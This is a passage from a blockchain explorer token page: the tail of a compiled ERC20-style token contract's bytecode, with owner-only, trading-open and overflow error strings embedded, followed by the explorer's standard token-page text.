2830185811115612127576121266120ee565b5b835b81811015612150578061213c8882611e9b565b845260208401935050602081019050612129565b5050509392505050565b5f82601f83011261216e5761216d612047565b5b813561217e8482602086016120f2565b91505092915050565b5f6020828403121561219c5761219b611ded565b5b5f82013567ffffffffffffffff8111156121b9576121b8611df1565b5b6121c58482850161215a565b91505092915050565b5f80604083850312156121e4576121e3611ded565b5b5f6121f185828601611e9b565b925050602061220285828601611e9b565b9150509250929050565b7f6e656564206265206f00000000000000000000000000000000000000000000005f82015250565b5f612240600983611d5e565b915061224b8261220c565b602082019050919050565b5f6020820190508181035f83015261226d81612234565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6122a8602083611d5e565b91506122b382612274565b602082019050919050565b5f6020820190508181035f8301526122d58161229c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61233d601783611d5e565b915061234882612309565b602082019050919050565b5f6020820190508181035f83015261236a81612331565b9050919050565b7f45524332303a20617070726f76650000000000000000000000000000000000005f82015250565b5f6123a5600e83611d5e565b91506123b082612371565b602082019050919050565b5f6020820190508181035f8301526123d281612399565b9050919050565b7f45524332303a20617070000000000000000000000000000000000000000000005f82015250565b5f61240d600a83611d5e565b9150612418826123d9565b602082019050919050565b5f6020820190508181035f83015261243a81612401565b9050919050565b7f45524332303a207472616e736665722066726f6d2073000000000000000000005f82015250565b5f612475601683611d5e565b915061248082612441565b602082019050919050565b5f6020820190508181035f8301526124a281612469565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65000000000000005f82015250565b5f6124dd601983611d5e565b91506124e8826124a9565b602082019050919050565b5f6020820190508181035f83015261250a816124d1565b9050919050565b7f5472616e7366657220616d6f756e7400000000000000000000000000000000005f82015250565b5f612545600f83611d5e565b915061255082612511565b602082019050919050565b5f6020820190508181035f83015261257281612539565b9050919050565b7f53776170206973206e6f74206f70656e207965742e20506c65617365207761695f8201527f742e000000000000000000000000000000000000000000000000000000000000602082015250565b5f6125d3602283611d5e565b91506125de82612579565b604082019050919050565b5f6020820190508181035f830152612600816125c7565b9050919050565b5f8151905061261581611e85565b92915050565b5f602082840312156126305761262f611ded565b5b5f61263d84828501612607565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61267d82611eaf565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036126af576126ae612646565b5b600182019050919050565b7f68657265000000000000000000000000000000000000000000000000000000005f82015250565b5f6126ee600483611d5e565b91506126f9826126ba565b602082019050919050565b5f6020820190508181035f83015261271b816126e2565b9050919050565b5f61272c82611eaf565b915061273783611eaf565b925082820390508181111561274f5761274e612646565b5b92915050565b5f8160601b9050919050565b5f61276b82612755565b9050919050565b5f61277c82612761565b9050919050565b61279461278f82611e74565b612772565b82525050565b5f6127a58285612783565b6014820191506127b58284612783565b6014820191508190509392505050565b5f81905092915050565b7fff000000000000000000000000000000000000000000000000000000000000005f82015250565b5f6128036001836127c5565b915061280e826127cf565b600182019050919050565b5f819050919050565b5f819050919050565b61283c61283782612819565b612822565b82525050565b7f96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f5f82015250565b5f6128766020836127c5565b915061288182612842565b602082019050919050565b5f612896826127f7565b91506128a28285612783565b6014820191506128b2828461282b565b6020820191506128c18261286a565b91508190509392505050565b5f6128d782611eaf565b91506128e283611eaf565b92508282026128f081611eaf565b9150828204841483151761290757612906612646565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61294582611eaf565b915061295083611eaf565b9250826129605761295f61290e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6129c5602183611d5e565b91506129d08261296b565b604082019050919050565b5f6020820190508181035f8301526129f2816129b9565b9050919050565b5f612a0382611eaf565b9150612a0e83611eaf565b9250828201905080821115612a2657612a25612646565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f612a60601b83611d5e565b9150612a6b82612a2c565b602082019050919050565b5f6020820190508181035f830152612a8d81612a54565b905091905056fea264697066735822122013637e27573435b0dbef8d91cd12b73d9a0932f9bc78839f59d788297835f42a64736f6c634300081a0033

Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.